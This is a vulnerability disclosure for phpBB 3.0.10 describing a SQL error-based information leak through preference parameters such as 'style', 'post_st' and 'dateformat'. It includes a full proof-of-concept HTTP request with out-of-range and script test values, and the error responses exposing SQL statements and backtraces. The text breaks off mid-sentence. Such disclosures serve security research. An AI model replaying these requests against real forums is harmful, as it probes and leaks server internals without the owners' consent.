------------------------------------------------------------------ Name : phpBB3 SQL Injection ------------------------------------------------------------------ Date : 27.07.2012 ------------------------------------------------------------------ Site : www.phpbb.com ------------------------------------------------------------------ Version : 3.0.10 ------------------------------------------------------------------ 1) What is it? This is very nice forum board. You should try it! ------------------------------------------------------------------ 2) Type of bug? SQL Injection (or SQL-info-Leak if You want). ------------------------------------------------------------------ 3) Where is the bug? Vulnerable parameter seems to be 'style' because if we set up this parameter to 'bigger number' (for example: 111111111) we will get an error, with full SQL statement. *updated - dateformat is the second vulnerable parameter! *updated - post_st is the 3rd vulnerable parameter! *updated - another one: topic_st 4) PoC traffic from Burp: 4.1) Request : --- POST /kuba/phpBB/phpBB3/ucp.php?i=prefs&mode=personal HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://localhost/kuba/phpBB/phpBB3/ucp.php?i=174 Cookie: style_cookie=null; phpbb3_t4h3b_u=2; phpbb3_t4h3b_k=; phpbb3_t4h3b_sid= Content-Type: application/x-www-form-urlencoded Content-Length: 258 Connection: close viewemail=1 &massemail=1 &allowpm=1 &hideonline=0 ¬ifypm=1 &popuppm=0 &lang=en &style=%2b1111111111 &tz=0 &dst=0 &dateoptions=D+M+d%2C+Y+g%3Ai+a &dateformat=D+M+d%2C+Y+g%3Ai+a &submit=Submit &creation_time=1343370877 &form_token=576... --- 4.2) Response: --- HTTP/1.1 503 Service Unavailable Date: Fri, 27 Jul 2012 06:39:06 GMT Server: Apache/2.2.22 (Ubuntu) X-Powered-By: PHP/5.3.10-1ubuntu3.2 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 2889 Return to the index page

General Error

SQL ERROR [ mysqli ]

Out of range value for column 'user_style' at row 1 [1264]

SQL

UPDATE phpbb_users SET user_allow_pm = 1, user_allow_viewemail = 1, user_allow_massemail = 1, user_allow_viewonline = 1, user_notify_type = '0', user_notify_pm = 1, user_options = '230271', user_dst = 0, user_dateformat = 'D M d, Y g:i a', user_lang = 'en', user_timezone = 0, user_style = 1111111111 WHERE user_id = 2

BACKTRACE

FILE: [ROOT]/includes/db/mysqli.php
LINE: 182
CALL: dbal->sql_error()

FILE: [ROOT]/includes/ucp/ucp_prefs.php
LINE: 100
CALL: dbal_mysqli->sql_query()

FILE: [ROOT]/includes/functions_module.php
LINE: 507
CALL: ucp_prefs->main()

FILE: [ROOT]/ucp.php
LINE: 333
CALL: p_master->load_active()

Please notify the board administrator or webmaster: (...) --- 4.2 Other response (this time from post_st parameter): ---

Return to the index page

General Error

SQL ERROR [ mysqli ]

Incorrect integer value: 'javascript:alert(123123);/' for column 'user_post_show_days' at row 1 [1366]

An SQL error occurred while fetching this page. Please contact the